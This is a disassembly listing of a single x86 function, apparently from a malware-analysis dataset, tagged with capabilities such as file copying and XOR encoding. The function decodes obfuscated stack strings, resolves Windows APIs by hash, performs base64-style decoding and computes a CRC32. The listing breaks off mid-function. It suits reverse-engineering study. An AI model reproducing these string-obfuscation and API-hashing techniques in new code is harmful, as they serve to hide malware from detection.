Function at 0x42ce85
Capabilities:
Copy file
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x78
mov esi, esp
push eax
sub esp, 8
mov dword [esi + 0x30], esp
sub esp, 0x30
mov edi, esp
sub esp, 0x400
mov eax, esp
mov dword [esi + 0x38], eax
mov dword [esi + 0x1c], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x58], eax
mov esp, eax
push eax
mov dword [esi + 0x2c], esp
sub esp, 0x24
mov dword [esi + 0x54], esp
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x5c], 0xb72a8917
mov dword [esi + 0x60], 0xb353b559
mov dword [esi + 0x64], 0xbf6cb125
mov dword [esi + 0x68], 0xbb22bd51
mov dword [esi + 0x6c], 0xa7a6b955
xor eax, eax
mov ecx, eax
add cl, 0x5e
xor cl, byte [esi + eax + 0x5c]
add cl, 0x2a
mov byte [esi + eax + 0x5c], cl
inc eax
cmp eax, 0x14
jne case.default.0x42b887
lea eax, [esi + 0x5c]
lea ecx, [esi + 0x40]
push eax
call fcn.0043f670
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44eb68]
lea ecx, [esi + 0x40]
push 0x410
call fcn.0043f8e0
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44eb70]
mov dword [edi], 0x765f607d
mov dword [edi + 4], 0x584e5578
mov dword [edi + 8], 0x4c554f69
mov dword [edi + 0xc], 0x735a4a6d
mov dword [edi + 0x10], 0x58676e72
mov dword [edi + 0x14], 0x5b7c6a65
mov dword [edi + 0x18], 0x5e517a56
mov dword [edi + 0x1c], 0x527b5c67
mov dword [edi + 0x20], 0x7a68626e
mov dword [edi + 0x24], 0xaa878d69
mov dword [edi + 0x28], 0x47768989
mov dword [edi + 0x2c], 0
mov eax, 0x5a
mov ecx, 0x25
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
and edx, 0x94
mov ebx, eax
and ebx, 0x6b
or ebx, edx
xor ebx, 0x6b
lea edx, [eax + 0x80]
or edx, ebx
movzx ebx, byte [edi + eax - 0x5a]
neg edx
add edx, eax
add edx, 0x7f
xor edx, ecx
and edx, ebx
xor edx, ecx
mov bl, 0xbd
sub bl, dl
mov byte [edi + eax - 0x5a], bl
inc eax
dec ecx
cmp eax, 0x8a
jne case.default.0x42b96c
lea ecx, [esi + 0x40]
push 0
push 0x2b
push edi
mov edi, dword [esi + 0x30]
push edi
call fcn.00440580
mov eax, dword [edi]
mov ebx, dword [edi + 4]
mov edi, eax
xor eax, eax
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x44eb78]
mov eax, ebx
sub eax, edi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.0040cbc0
add esp, 4
inc dword [esi + 0x38]
mov dword [esi + 0xc], 0
xor ecx, ecx
mov dword [esi + 0x3c], ebx
cmp edi, ebx
setne cl
mov dword [esi + 0x34], eax
mov dword [esi + 8], eax
jmp dword [ecx*4 + 0x44eb80]
mov ebx, dword [esi + 0xc]
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44eb88]
jmp dword [0x44ebe8]
mov edi, dword [esi + 0x20]
add edi, 8
xor eax, eax
cmp edi, dword [esi + 0x3c]
setne al
jmp dword [eax*4 + 0x44eb80]
mov eax, dword [edi]
mov dword [esi + 0x10], eax
mov dword [esi + 0x20], edi
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
push 0x400
push 0
mov edi, dword [esi + 0x1c]
push edi
call fcn.0040cc40
add esp, 0xc
lea ecx, [esi + 0x40]
mov ebx, dword [esi + 0x58]
push ebx
push 0
push 0x400
push edi
push dword [esi + 4]
push dword [esi + 0x10]
call fcn.004403c0
cmp eax, 0xc0000000
setae al
mov ecx, dword [ebx]
or ecx, dword [ebx + 4]
sete cl
or cl, al
movzx ecx, cl
xor eax, eax
jmp dword [ecx*4 + 0x44eb90]
mov ecx, dword [case.0x42b96c.6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 1
jmp ecx
jmp dword [eax*4 + 0x44eba8]
mov edx, dword [esi + 0x1c]
jmp dword [0x44ebb4]
mov ecx, edi
movzx eax, byte [edi + 1]
inc ecx
xor edi, edi
test al, al
mov dword [esi + 0x18], ecx
je 0x42ba91
cmp al, 0x2e
je 0x42ba8f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42ba80
jmp 0x42ba91
mov edi, ecx
xor eax, eax
test edi, edi
setne al
mov ecx, dword [esi + 0x18]
jmp dword [eax*4 + 0x44ebc8]
mov edx, edi
sub edx, ecx
lea ecx, [edx + edx*2]
shr ecx, 2
movzx eax, byte [edi - 1]
cmp eax, 0x3d
je 0x42baba
cmp eax, 0x2e
jne 0x42bac1
mov eax, ecx
not eax
lea ecx, [eax + ecx*2]
mov eax, dword [esi + 0x18]
movzx eax, byte [eax + edx - 2]
cmp eax, 0x3d
mov dword [esi + 0x28], edx
je 0x42bad6
cmp eax, 0x2e
jne 0x42bad7
dec ecx
mov dword [esi + 0x50], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040cbc0
add esp, 4
mov dword [esi + 0x24], eax
cmp edi, dword [esi + 0x18]
je 0x42bbee
xor edx, edx
mov edi, 2
jmp 0x42bb20
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [edi + 4]
add edi, 2
cmp edi, ecx
mov edi, eax
jae 0x42bbee
mov dword [esi + 0x10], edx
mov ebx, dword [esi + 0x18]
movzx eax, byte [ebx + edi - 2]
push eax
call fcn.00422d10
add esp, 4
mov byte [esi + 4], al
movzx eax, byte [ebx + edi - 1]
push eax
call fcn.00422d10
add esp, 4
mov bh, al
movzx ecx, byte [esi + 4]
shl cl, 2
shr al, 4
and al, 3
or al, cl
mov ecx, dword [esi + 0x24]
mov edx, dword [esi + 0x10]
mov byte [ecx + edx], al
mov eax, edx
inc edx
mov ecx, dword [esi + 0x28]
cmp edi, ecx
jae 0x42bb10
mov eax, dword [esi + 0x18]
movzx eax, byte [eax + edi]
push eax
mov dword [esi + 4], edx
call fcn.00422d10
mov edx, dword [esi + 4]
mov ecx, dword [esi + 0x28]
add esp, 4
cmp al, 0x40
je 0x42bb10
shl bh, 4
mov byte [esi + 0x17], al
shr al, 2
and al, 0xf
or al, bh
mov ebx, dword [esi + 0x10]
lea edx, [ebx + 2]
mov dword [esi + 4], edx
mov edx, dword [esi + 0x24]
mov byte [edx + ebx + 1], al
lea eax, [edi + 1]
cmp eax, ecx
jae 0x42bafe
mov eax, dword [esi + 0x18]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.00422d10
add esp, 4
cmp al, 0x40
je 0x42bafb
movzx ecx, byte [esi + 0x17]
shl cl, 6
add al, cl
mov ecx, dword [esi + 0x24]
mov edx, dword [esi + 0x10]
mov byte [ecx + edx + 2], al
mov eax, edx
and eax, 1
mov edx, dword [esi + 4]
or edx, 1
add edx, eax
mov ecx, dword [esi + 0x28]
jmp 0x42bb10
mov eax, dword [esi + 0x50]
mov edi, dword [esi + 0x24]
mov byte [edi + eax], 0
push edi
call fcn.00403d70
add esp, 4
mov ebx, eax
jmp dword [0x44ebd0]
push edi
call fcn.0040cbd0
add esp, 4
push ebx
call fcn.00404830
add esp, 4
xor edx, edx
test eax, eax
setne dl
mov ecx, dword [esi + 0xc]
jmp dword [edx*4 + 0x44ebd8]
mov edi, dword [esi + 0x20]
jmp 0x42bd29
mov dword [esi + 4], eax
mov dword [esi + 0x10], ebx
mov eax, dword [esi + 0x2c]
mov dword [eax], 0x2184a8a9
mov ecx, 1
mov ebx, 0xffffffff
nop
nop
nop
lea edi, [ecx - 1]
mov eax, dword [esi + 0x2c]
movzx eax, byte [eax + ecx - 1]
mov edx, ebx
or edx, 0x650dc8c9
or edi, 0x650dc8c9
add edi, edx
lea edx, [ecx + edi]
and edx, eax
add edi, eax
add edx, edx
sub edi, edx
lea eax, [ecx + edi]
add eax, 0xf5d793e0
mov edx, eax
and edx, 0x32
xor eax, 0x32
lea eax, [eax + edx*2]
inc al
mov edx, dword [esi + 0x2c]
mov byte [edx + ecx - 1], al
mov eax, dword [esi + 0x2c]
inc ecx
dec ebx
cmp ecx, 5
jne case.default.0x42bcaf
push eax
push dword [esi + 4]
call fcn.004045f0
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44ebe0]
mov edx, dword [esi + 0x1c]
mov edi, dword [esi + 0x20]
mov ebx, dword [esi + 0x10]
jmp 0x42bcfe
movzx ecx, byte [eax]
test cl, cl
mov edx, dword [esi + 0x1c]
mov ebx, dword [esi + 0x10]
je 0x42bced
inc eax
mov edi, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42bce0
jmp 0x42bcf0
mov edi, dword [esi + 8]
mov word [edi], 0x203a
add edi, 2
mov dword [esi + 8], edi
mov edi, dword [esi + 0x20]
movzx eax, byte [edx]
test al, al
je 0x42bd1d
mov ecx, dword [esi + 0x38]
mov edx, dword [esi + 8]
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42bd10
jmp 0x42bd20
mov edx, dword [esi + 8]
mov byte [edx], 0xa
inc edx
mov dword [esi + 8], edx
mov cl, 1
mov dword [esi + 0xc], ecx
push ebx
call fcn.00404de0
add esp, 4
add edi, 8
xor eax, eax
cmp edi, dword [esi + 0x3c]
setne al
jmp dword [eax*4 + 0x44eb80]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x44ebc0]
mov byte [edx + 0x3ff], 0
mov byte [edx + 0x3ff], 0
movzx eax, byte [edx]
xor edi, edi
test al, al
je 0x42bd8d
mov ecx, edx
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x2e
je 0x42bda0
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42bd80
jmp dword [0x44ebbc]
mov edi, ecx
jmp dword [0x44ebbc]
mov dword [esi + 0xc], 0
test edi, edi
jne 0x42be6f
jmp 0x42be93
mov eax, dword [esi + 8]
mov byte [eax], 0
mov edi, dword [esi + 0x54]
mov dword [edi], 0x67626151
mov dword [edi + 4], 0x234f4e55
mov dword [edi + 8], 0x585c5e51
mov dword [edi + 0xc], 0x5a2a7693
mov dword [edi + 0x10], 0x4f955441
mov dword [edi + 0x14], 0x4943464b
mov dword [edi + 0x18], 0x33368f4b
mov word [edi + 0x1c], 0xb538
mov dword [edi + 0x1e], 0
mov byte [edi + 0x22], 0
mov eax, 0xeaa4f1dc
nop
nop
nop
nop
nop
movzx ecx, byte [edi + eax + 0x155b0e24]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0xb4
mov byte [edi + eax + 0x155b0e24], cl
inc eax
cmp eax, 0xeaa4f1ff
jne 0x42be10
mov eax, dword [esi + 0x34]
mov edx, dword [esi + 8]
sub edx, eax
mov ecx, dword [ebp + 8]
push edx
push eax
push edi
call fcn.0040d690
mov ebx, eax
jmp dword [0x44ebe8]
push dword [esi + 0x34]
call fcn.0040cbd0
add esp, 4
and bl, 1
mov dword [esi + 0xc], ebx
mov eax, dword [esi + 0x30]
mov edi, dword [eax]
mov ebx, dword [eax + 4]
test edi, edi
je 0x42be93
cmp edi, ebx
je 0x42be93
push edi
call fcn.0040cbd0
add esp, 4
mov eax, dword [esi + 0x30]
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov ebx, dword [esi + 0xc]
lea ecx, [esi + 0x40]
call fcn.0043faa0
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
jmp dword [0x44eca4]
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x1c]
jmp dword [0x44edec]
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44ecd0]
mov edi, dword [edx]
mov eax, dword [edx + 0x18]
mov ecx, dword [case.0x42c4df.6]
jmp case.0x42c4df.3
jmp ecx
xor ebx, ebx
cmp eax, 3
jne 0x42bf00
mov ebx, dword [edx + 0x10]
jmp 0x42bf00
test edi, edi
setne al
test ebx, ebx
setne cl
and cl, al
movzx eax, cl
mov ecx, ebx
jmp dword [eax*4 + 0x44ece8]
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne case.0x42c4df.8
mov ecx, ebx
jmp dword [0x44ecfc]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x18], esi
sub eax, ebx
mov ecx, eax
and ecx, 1
lea eax, [eax + ecx*2]
shr eax, 1
mov dword [ebp - 0x30], eax
inc eax
push eax
call fcn.0040cbc0
add esp, 4
mov edi, dword [case.0x42c4df.15]
mov dword [ebp - 0x44], eax
mov ecx, eax
jmp case.0x42c4df.13
inc ecx
mov ebx, ecx
mov ecx, dword [ebp - 0x10]
mov byte [ecx], dl
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
jmp edi
movsx esi, byte [ebx]
xor edx, edx
test esi, esi
setne dl
jmp dword [edx*4 + 0x44ed10]
mov eax, ebx
lea edx, [esi - 0x30]
cmp edx, 0xa
jb 0x42bfa2
mov edx, 0xffffffff
mov dword [ebp - 0x10], ecx
or esi, 0x20
lea ebx, [esi - 0x61]
cmp ebx, 6
jae case.default.0x42bfc2
add esi, 0xffffffa9
mov edx, esi
mov ecx, eax
movsx esi, byte [eax + 1]
xor ebx, ebx
test esi, esi
setne bl
jmp dword [ebx*4 + 0x44ed18]
lea ebx, [esi - 0x30]
cmp ebx, 0xa
jb 0x42bfd6
mov ebx, 0xffffffff
or esi, 0x20
lea ecx, [esi - 0x61]
cmp ecx, 6
jae 0x42bfe6
add esi, 0xffffffa9
mov ebx, esi
mov ecx, dword [ebp - 0x10]
shl edx, 4
or edx, ebx
mov ebx, eax
add ebx, 2
jmp 0x42bf75
mov byte [ecx], 0
push 0
push 0x10
push 0
push dword [ebp - 0x24]
call fcn.0042eec0
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
xor edi, edi
xor ebx, ebx
mov dword [ebp - 0x38], eax
cmp ecx, eax
setne bl
mov esi, dword [case.0x42c4df.30]
jmp dword [ebx*4 + 0x44ed30]
mov edi, dword [ecx]
xor ebx, ebx
jmp dword [ebx*4 + 0x44ed50]
add ecx, 8
xor ebx, ebx
cmp ecx, dword [ebp - 0x38]
setne bl
jmp dword [ebx*4 + 0x44ed30]
jmp esi
mov ebx, dword [ecx + 4]
mov eax, ebx
shr eax, 0x1c
shl ebx, 4
or ebx, 1
xor eax, dword [ebp - 0x24]
xor ebx, dword [ebp - 0x10]
xor edx, edx
or ebx, eax
sete dl
jmp dword [edx*4 + 0x44ed48]
mov ebx, 1
jmp dword [ebx*4 + 0x44ed50]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x44ed58]
mov esi, dword [ebp - 0x18]
jmp dword [0x44ed78]
push dword [ebp - 0x44]
call fcn.0040cbd0
add esp, 4
mov eax, dword [case.0x42c4df.7]
mov edx, dword [ebp - 0x50]
nop
nop
nop
nop
nop
nop
jmp eax
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov dword [ecx + 4], eax
mov ebx, dword [ebp - 0x54]
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi + eax + 1], 0
lea eax, [eax + 1]
jne 0x42c0d0
mov dword [ebx], eax
mov dword [ebx + 4], edi
mov esi, dword [ebp - 0x4c]
mov dword [esi], 0
mov dword [esi + 4], 0
mov ebx, ecx
jmp dword [0x44ed60]
push 0x31f26afb
push dword [0x452d64]
call fcn.004451d0
add esp, 8
push esi
push 1
push 0
push 0
push dword [ebp - 0x54]
push 0
push ebx
call eax
nop
nop
nop
nop
nop
nop
nop
push 0x31f26afb
push dword [0x452d64]
call fcn.004451d0
add esp, 8
push esi
push 1
push 0
push 0
push dword [ebp - 0x54]
push 0
push ebx
call eax
jmp dword [0x44ed68]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44ed70]
mov esi, dword [ebp - 0x18]
jmp dword [0x44ed78]
movzx eax, byte [edi]
test al, al
mov ecx, dword [ebp - 0x18]
je 0x42c17b
inc edi
nop
nop
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x42c170
mov word [ecx], 0x203a
mov eax, ecx
add eax, 2
mov edi, dword [ebp - 0x4c]
mov esi, dword [edi]
test esi, esi
je 0x42c1be
mov ecx, dword [edi + 4]
mov edx, esi
and edx, 3
je 0x42c1c2
xor edi, edi
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x42c1a0
add eax, edi
mov edx, esi
sub edx, edi
mov ebx, eax
mov edi, dword [ebp - 0x4c]
jmp 0x42c1c4
mov esi, eax
jmp 0x42c209
mov edx, esi
cmp esi, 4
mov esi, ebx
jb 0x42c209
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x42c1d0
mov byte [esi], 0xa
inc esi
push 0xd80d2c4a
push dword [0x452d4c]
call fcn.004451d0
add esp, 8
push dword [edi + 4]
call eax
mov al, 1
mov dword [ebp - 0x14], eax
jmp dword [0x44ed78]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x58], 0x54554a4b
mov ecx, 0x6e
mov eax, 0x7bc7c891
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ebp + ecx - 0xc6]
mov ebx, ecx
and ebx, esi
add ebx, ebx
lea edi, [ecx + esi]
add edi, 0x84383700
mov edx, eax
sub edx, esi
and edx, ebx
not ebx
and ebx, edi
sub ebx, edx
mov edx, ebx
not edx
or edx, 0x6ae6ead9
lea esi, [ebx + edx]
inc esi
mov edi, esi
and edi, 0xfd
mov edx, esi
and edx, 2
or esi, 2
imul esi, edx
xor edx, 2
imul edx, edi
xor ebx, 0xd9
add ebx, esi
add ebx, edx
inc bl
mov byte [ebp + ecx - 0xc6], bl
inc ecx
dec eax
cmp ecx, 0x72
jne 0x42c250
mov ecx, dword [0x452d58]
test ecx, ecx
je case.0x42cf3b.106
mov edx, dword [ebp - 0x58]
xor esi, esi
mov edi, dword [0x452d5c]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x42c2e0
inc esi
cmp ecx, esi
jne 0x42c2d0
jmp case.0x42cf3b.106
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x42cf3b.106
push dword [ebp - 0x10]
push 1
push dword [0x452d60]
push ecx
call fcn.004427e0
add esp, 0x10
jmp case.0x42cf3b.106
jmp dword [0x44edc8]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x5c], 0x54554a4b
mov ecx, 0x6e
mov eax, 0x7bc7c891
nop
movzx esi, byte [ebp + ecx - 0xca]
mov ebx, ecx
and ebx, esi
add ebx, ebx
lea edi, [ecx + esi]
add edi, 0x84383700
mov edx, eax
sub edx, esi
and edx, ebx
not ebx
and ebx, edi
sub ebx, edx
mov edx, ebx
not edx
or edx, 0x6ae6ead9
lea esi, [ebx + edx]
inc esi
mov edi, esi
and edi, 0xfd
mov edx, esi
and edx, 2
or esi, 2
imul esi, edx
xor edx, 2
imul edx, edi
xor ebx, 0xd9
add ebx, esi
add ebx, edx
inc bl
mov byte [ebp + ecx - 0xca], bl
inc ecx
dec eax
cmp ecx, 0x72
jne 0x42c320
mov ecx, dword [0x452d58]
test ecx, ecx
je 0x42c300
mov edx, dword [ebp - 0x5c]
xor esi, esi
mov edi, dword [0x452d5c]
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x42c3c0
inc esi
cmp ecx, esi
jne 0x42c3a0
jmp 0x42c300
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x42c300
push dword [ebp - 0x10]
push 1
push dword [0x452d60]
push ecx
call fcn.004427e0
add esp, 0x10
jmp dword [0x44edc8]
mov esi, dword [edi]
mov edi, dword [ebp - 0x28]
mov byte [edi + esi], 0
push 0x20
call fcn.0040cbc0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x40], eax
mov ecx, eax
push esi
push edi
call fcn.0042ea60
movzx eax, al
mov dword [ebp - 0x14], 0
mov esi, dword [ebp - 0x20]
jmp dword [eax*4 + 0x44ecc0]
mov esi, dword [ebp - 0x68]
mov dword [esi], 0x57646e73
mov dword [esi + 4], 0x62546453
mov dword [esi + 8], 0x676b7f27
mov dword [esi + 0xc], 0x7c21685a
mov dword [esi + 0x10], 0x1e131424
mov dword [esi + 0x14], 0x1919765b
mov dword [esi + 0x18], 0x2f191c16
mov dword [esi + 0x1c], 0x171d1c7f
mov word [esi + 0x20], 0xa105
mov dword [esi + 0x22], 0
mov byte [esi + 0x26], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
and edx, 0x60
mov edi, ecx
mov ecx, eax
xor ecx, 0xb0
add ecx, edx
xor cl, byte [esi + eax]
add cl, 0x90
mov byte [esi + eax], cl
mov ecx, edi
inc eax
add ecx, 2
cmp eax, 0x27
jne case.default.0x42c4df
mov ecx, dword [ebp - 0x40]
push esi
call fcn.0042eca0
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x14], 0
mov esi, dword [ebp - 0x20]
jmp dword [ecx*4 + 0x44ecc8]
mov edi, dword [ebp - 0x40]
jmp dword [0x44ed90]
mov ecx, edi
call fcn.0042ee20
jmp dword [0x44ed98]
push edi
call fcn.0040cbd0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push edi
call fcn.0040cbd0
add esp, 4
jmp dword [0x44eda4]
jmp dword [0x44edb0]
add eax, 8
mov dword [ebp - 0x14], 0
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
mov esi, dword [ebp - 0x20]
jmp dword [eax*4 + 0x44ecd0]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
xor edx, edx
cmp ecx, eax
sete dl
mov esi, dword [ebp - 0x20]
jmp dword [edx*4 + 0x44ec90]
mov esi, dword [esi]
mov edi, dword [ebp - 0x48]
mov byte [edi + esi], 0
push 0x20
call fcn.0040cbc0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x64], eax
mov ecx, eax
push esi
push edi
call fcn.0042ea60
movzx eax, al
jmp dword [eax*4 + 0x44ec40]
mov edx, dword [ebp - 0x30]
mov dword [edx], 0x7f6c6603
mov dword [edx + 4], 0x727c0c63
mov dword [edx + 8], 0x7f0b073f
mov dword [edx + 0xc], 0x1431786a
mov dword [edx + 0x10], 0x76037c6c
mov dword [edx + 0x14], 0x7c7d5c4b
mov dword [edx + 0x18], 0x170c140f
mov dword [edx + 0x1c], 0x9507
mov byte [edx + 0x20], 0
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0xac
xor cl, byte [edx + eax]
add cl, 0xa4
mov byte [edx + eax], cl
inc eax
cmp eax, 0x21
jne case.default.0x42c617
mov ecx, dword [ebp - 0x64]
push edx
call fcn.0042eca0
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [ebp - 0x1c]
jmp dword [ecx*4 + 0x44ec48]
mov edi, dword [ebp - 0x38]
jmp dword [0x44ec58]
mov esi, dword [ebp - 0x64]
mov ecx, esi
call fcn.0042ee20
push esi
call fcn.0040cbd0
add esp, 4
mov eax, dword [ebp - 0x48]
jmp dword [0x44ec60]
add eax, 8
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44ec50]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x2c]
mov dword [edx + eax + 4], ecx
mov eax, dword [ebp - 0x30]
add eax, 8
mov edx, dword [ebp - 0x1c]
mov dword [edx + 4], eax
mov esi, dword [ebp - 0x40]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44ec50]
mov eax, dword [esi]
mov dword [ebp - 0x24], eax
mov edi, dword [edx]
mov eax, dword [edx + 4]
mov ebx, eax
sub ebx, edi
cmp eax, dword [edx + 8]
mov edx, eax
mov dword [ebp - 0x28], ebx
jne 0x42c755
mov dword [ebp - 0x30], edx
mov eax, ebx
sar eax, 3
mov edx, ebx
mov ebx, eax
shr ebx, 1
add ebx, eax
mov ecx, eax
xor ecx, 1
mov eax, edx
shr eax, 2
and eax, 2
add eax, ecx
cmp ebx, eax
ja 0x42c6cd
mov ebx, eax
mov eax, ebx
and eax, 0xfffffff7
mov ecx, ebx
and ecx, 8
mov edx, ebx
mov dword [ebp - 0x10], ebx
or edx, 8
imul edx, ecx
xor ecx, 8
imul ecx, eax
add edx, ecx
push edx
call fcn.0040cbc0
add esp, 4
mov dword [ebp - 0x2c], eax
test edi, edi
je 0x42c73b
mov edx, dword [ebp - 0x30]
cmp edi, edx
mov ebx, dword [ebp - 0x2c]
je 0x42c732
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [ebx + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [ebx + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x42c710
push edi
call fcn.0040cbd0
add esp, 4
mov ecx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x2c]
mov dword [ecx], edi
mov ebx, dword [ebp - 0x28]
lea edx, [edi + ebx]
mov dword [ecx + 4], edx
mov eax, dword [ebp - 0x10]
lea eax, [edi + eax*8]
mov dword [ecx + 8], eax
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x40], esi
mov dword [edi + ebx], 0
mov dword [edi + ebx + 4], 0
xor eax, eax
mov esi, dword [ebp - 0x24]
nop
cmp byte [esi + eax], 0
lea eax, [eax + 1]
jne 0x42c770
push eax
mov dword [ebp - 0x10], eax
call fcn.0040cbc0
add esp, 4
mov dword [ebp - 0x2c], edi
mov dword [edi + ebx], eax
mov ebx, dword [ebp - 0x10]
mov ecx, ebx
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edi, ebx
mov ecx, ebx
xor ecx, 3
mov edx, ebx
or edx, 0xfffffffc
and edx, ecx
add eax, edx
add edx, esi
mov esi, ebx
and esi, 3
mov ecx, esi
shr ecx, 1
mov ebx, edx
mov edi, eax
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ebx, dword [ebp - 0x10]
mov ecx, ebx
inc cl
test cl, 1
jne 0x42c7e3
movzx ecx, byte [edx + esi - 1]
mov byte [eax + esi - 1], cl
xor ecx, ecx
cmp ebx, 1
je 0x42c660
mov ecx, 0xffffffff
mov eax, 1
nop
nop
nop
mov edx, dword [ebp - 0x24]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebx, edi
shl ebx, 0x1d
sar ebx, 0x1f
and ebx, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebx
mov ebx, edi
shl ebx, 0x1b
sar ebx, 0x1f
and ebx, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebx
mov ebx, dword [ebp - 0x10]
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp ebx, eax
jne 0x42c7f0
not ecx
jmp 0x42c660
mov byte [edx], 0
mov dword [edi], 0x656a6bc3
mov dword [edi + 4], 0x69595a67
mov dword [edi + 8], 0x64606263
mov dword [edi + 0xc], 0x6e624221
